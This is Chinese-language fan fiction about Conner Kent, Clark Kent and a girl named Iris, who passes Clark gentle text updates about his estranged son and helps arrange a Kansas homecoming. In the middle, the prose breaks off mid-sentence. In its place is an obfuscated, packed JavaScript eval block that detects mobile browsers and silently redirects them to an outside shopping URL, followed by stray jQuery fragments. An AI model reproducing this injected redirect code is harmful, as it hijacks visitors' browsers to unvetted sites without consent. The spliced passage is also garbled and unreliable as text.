当凝视太阳太久之后，就会想起月的柔情。


    艾瑞斯在学校的花园里散步。春天的阳光暖洋洋的，落在那些刚冒出头的花苞上。她走得很慢，因为走不快。但这样也好，可以多看一会儿。


    康纳说，这次会在大都会待三天。


    三天。


    她数了数，足够见一次面，也许两次。足够说一些话，也许什么也不说。足够看看他是不是又瘦了，眼睛里是不是又多了什么她看不懂的东西。


    她在一张长椅上坐下，等着。


    ———


    康纳来了。


    他从街角转过来的时候，艾瑞斯就看见他了。背着包，背包鼓鼓囊囊的，不知道装了些什么。他走路的样子有点急，像是一直在赶路，停不下来。


    但看到她的时候，他慢下来了。


    一步一步，走近。


    然后他笑了。


    ———


    “艾瑞斯。”


    他在她面前蹲下来，把那个大包放在地上，拉开拉链。


    艾瑞斯低头看着。


    一个东西。两个东西。三个东西。


    他从包里往外拿，像一只旅行青蛙在清点一路捡来的宝贝。一块石头，说是从某个山脚下捡的，颜色很特别。一张明信片，上面印着另一个城市的风景。一个小木雕，刻的是他不知道名字的动物，但觉得很可爱。一包糖，据说是那个地方的特产，他尝过，不太甜，她觉得应该会喜欢。


    艾瑞斯看着那些东西堆在她面前。


    越来越多。


    “你……”她开口。


    康纳抬起头。


    “怎么了？不喜欢？不喜欢没关系，我可以——”


    “喜欢。”艾瑞斯说。


    康纳愣了一下。


    然后他又笑了。


    ———


    他不知道她喜欢什么。买这些东西的时候，他也不知道。只是在看到的那一瞬间，会想起她。想起她的笑容。想起她笑起来的时候，眼睛会弯成两道小小的月亮。


    他想，她看到这些，一定会开心吧。


    也许东西不对，也许她并不喜欢石头、明信片、小木雕。但她看到他在送，一定会笑。


    她真该多笑笑的。


    康纳觉得，艾瑞斯是那种爱笑的性格。她笑起来很好看，像阳光落在水面上。但她总是想太多。想那些她不该想的事，想那些让她眼睛暗下去的事。


    他也这样。


    所以他总是没来由地找她说话。说那些有的没的，说那些根本不需要说的话。只是想让她分心，不再想那些事。


    ———


    “我也准备了礼物。”


    艾瑞斯从包里拿出一个本子。封皮是素的，什么也没写。


    “日记本？”康纳接过去。


    “嗯。”艾瑞斯说，“我想……我们可以交换日记。”


    康纳愣了一下。


    交换日记？


    那好像是很亲密的人才会做的事。要互相知道对方在想什么，要互相分享那些藏在心里的话，要——


    “你想写什么就写什么。”艾瑞斯说，“不想写的就不写。”


    康纳低头看着那个本子。


    素净的封皮，厚厚的纸张，可以写很多字。


    “你希望我写？”他问。


    艾瑞斯点点头。


    康纳沉默了一会儿。


    他想起很多事。那些一个人在路上想的，那些在深夜睡不着想的，那些他不知道该跟谁说的。它们堆在心里，越堆越多，越来越沉。


    “好。”他说。


    ———


    艾瑞斯看着他。


    阳光落在他们之间。他的眉头微微皱着，像是又在想什么。


    那个表情，她见过很多次。


    在镜子里。


    她自己烦闷的时候，也是这样皱起眉。她自己想太多的时候，也是这样垂下眼睛。她自己不知道该说什么的时候，也是这样沉默很久，然后说一个好。


    血脉相连的人，总是能感受到对方心里的颤动。


    她不知道康纳有没有注意到。


    但她注意到了。


    他逃避的样子，他沉默的样子，他笑着说没事的样子。她都看见了。


    她不介意他逃避。


    但她希望，有一天，阳光能照进他的世界。


    ———


    黄昏的时候，他们坐在球场边的长椅上。


    康纳去接电话了。艾瑞斯一个人坐着，看着天边一点点变红。


    有人走过来。


    她抬起头。


    一个戴眼镜的男人站在面前，有些拘谨，有些不好意思。


    克拉克·肯特。


    记者。


    也是超人。


    也是——


    艾瑞斯知道他是谁。从大都会那里知道，从血脉里知道。但此刻，他只是个看起来有些笨拙的父亲。


    “你好，”他说，“请问，可以坐吗？”


    艾瑞斯点点头。


    ———


    艾瑞斯坐在后方视野更加开阔又高的位子上


    “你是康纳的朋友？”他问。


    艾瑞斯点点头。


    “他……他怎么样？”克拉克问，声音有点低，“我是说，他最近好吗？”


    艾瑞斯看着他。


    这个父亲，想了解自己的儿子，却不知道怎么开口。他不知道康纳去了哪里，不知道康纳在想什么，不知道康纳那些沉默里藏着什么。他只能问一个陌生的女孩。


    “你想知道什么？”艾瑞斯问。


    克拉克愣了一下。


    “什么都行。”他说，“他愿意说的什么都行。”


    艾瑞斯想了想。


    “我去买两个甜筒，那讲起来可能会比较长。”她站起来，“你等我一下。”


    ———


    她走得很慢。克拉克看着那个背影，瘦瘦小小的，走路很慢，但很稳。


    过了一会儿，她回来了。


    手里拿着两个甜筒。


    一个递给克拉克，一个自己拿着。


    克拉克接过来，不知道该说什么。


    “谢谢。”


    艾瑞斯摇摇头。


    他们在黄昏里坐着，一人一个甜筒，隔着一段距离。


    ———


    艾瑞斯开口了。


    她说起康纳。说他勇敢，说他一个人去了很多地方。说他见识广，知道很多她不知道的事。说他很热情虽然表情上是一副很不高兴，会给迷路的人指路。


    她说得很慢，一句一句，像一条缓缓流淌的小河。


    克拉克听着。


    他不知道这些。


    他不知道康纳去过那些地方。不知道康纳会给人指路。


    “他很好不是吗？”艾瑞斯说，“你们一定很喜欢他吧。”


    克拉克沉默着。


    手里的甜筒在融化，一滴一滴落下去。


    ———


    同一片黄昏下。


    艾瑞斯坐在后几排的高位上，克拉克坐在第一排。他们连成一条对角线，一人一个甜筒。


    女孩的声音很柔，很缓。


    她说的话，克拉克记住了。


    ——


    叔叔。


    如果太阳的注视太过热烈，用月光温柔的引导吧。


    ……


    ——


    克拉克·肯特是在那个黄昏之后第三天收到第一条短信的。


    陌生号码。很短。


    “康纳今天买了一个热狗，站在街角吃完。他说味道很像小时候吃过的那种，他第一次吃是他的弟弟请他吃的。”


    克拉克盯着那几行字，看了很久。


    他不知道该怎么回。说谢谢？说太好了？说这是他很久没听到的事？最后他只是打了几个字：“谢谢你告诉我。”


    那边很快回了一个笑脸的表情。


    从那之后，短信就断断续续地来了。


    ———


    有时候是文字。


    “康纳在公园里坐了半个小时，看一群鸽子。他说他喜欢看它们飞起来的样子。”


    “康纳今天说起堪萨斯的玉米地，那是你们的家吗?他说那里的风和其他地方不一样。”


    “他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314413|197845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看起来很喜欢那。”


    有时候是照片。


    康纳站在某个街角，背对着镜头，看不清表情。康纳低头看手机，阳光落在他的侧脸上。康纳的背影，走得很慢，像是终于不那么急着赶路了。


    克拉克看着那些照片，一张一张存下来。


    他不知道那个女孩是怎么拍到的，不知道她怎么能在康纳不注意的时候按下快门。他只知道，那些照片里，康纳的样子，是他很久没见过的。


    轻松一点的。


    不那么紧绷的。


    像是终于可以喘口气了。


    ———


    克拉克开始期待那些短信。


    每天早上醒来，第一件事就是看手机。有时候有，有时候没有。有的时候就反复看，看到能背下来。没有的时候就等，等着那个小小的提示音响起。


    他知道这很奇怪。


    一个成年男人，一个记者，一个超人，等着一个女孩的短信。等着她告诉他，他的儿子今天做了什么，去了哪里，有没有笑。


    但他控制不住。


    那些碎片一样的消息，拼凑起来，成了他从未见过的康纳。勇敢的康纳，温柔的康纳，会看鸽子、会想家的康纳。


    他感激那个女孩。


    世界上最好的女孩。


    ———


    艾瑞斯不知道克拉克在想什么。


    她只是分享。那些她看到的、感觉到的、觉得应该让他知道的事。她不知道这些对克拉克意味着什么，只知道他每次都会回。很短，但很快。


    有一天，康纳说起堪萨斯。


    说起玛莎奶奶的派。说起那个味道，热的，甜的，咬下去会流心。说起他小时候总想吃，但后来就不怎么回去了。


    艾瑞斯听着。


    “你现在想吃吗？我真的好好奇它的味道，在你的描述里它真太诱人了。康纳。”她问。


    康纳愣了一下。


    ———


    康纳在艾瑞斯的鼓动下拨打出电话。


    玛莎的声音从听筒里传来，絮絮叨叨的，说他瘦了，说他该回来看看，说她想他了。最后，像是顺便提了一句，她刚做了派，苹果的，热乎的，没人吃怪可惜的。


    康纳握着手机，站在那里。


    很久。


    然后他说：“是吗，真的很巧。我过几天会回来，我有个朋友能带她一起去吗？”


    ———


    玛莎在厨房里忙活，说要再做两个派，要收拾房间，要准备好吃的。乔纳森在旁边打下手，笑得合不拢嘴。


    康纳要回来了。


    还要带朋友。


    一个女孩。


    ———


    艾瑞斯收到一条短信。


    克拉克发的。


    “谢谢你。”


    只有两个字。


    艾瑞斯看着那两个字，想象着电话那头的表情。那个笨拙的父亲，此刻大概正在厨房里转圈，不知道该做什么，只知道笑。


    她回了一个笑脸。


    ———


    黄昏的时候，艾瑞斯站在窗边。


    大都会的天边烧成一片橘红，很暖，很慢。


    她想起康纳。想起他今天说话的样子。有点紧张，有点期待，有点不敢想又忍不住想。


    她想，派应该是甜的。


    家应该是暖的。


    他应该是高兴的。


    ———


    手机又响了。


    克拉克发来一张照片。


    堪萨斯的农场。玉米地。红色的谷仓。一栋小房子，窗户亮着灯。


    “欢迎你来。”他说。


    艾瑞斯看着那张照片。


    很久。


    然后她轻轻笑了一下。


    ——


    晚间她回到了家。父亲并不在。


    他开始忙碌他的基因实验与竞选。


    卢瑟豪宅很大，艾瑞斯细细的探索着着。


    然后她发现了一座花园。


    虽然他的主人并不在意他，但是在园丁的打理下十分美丽。


    里面还种着鸢尾花，蓝色的鸢尾花在风中摇曳。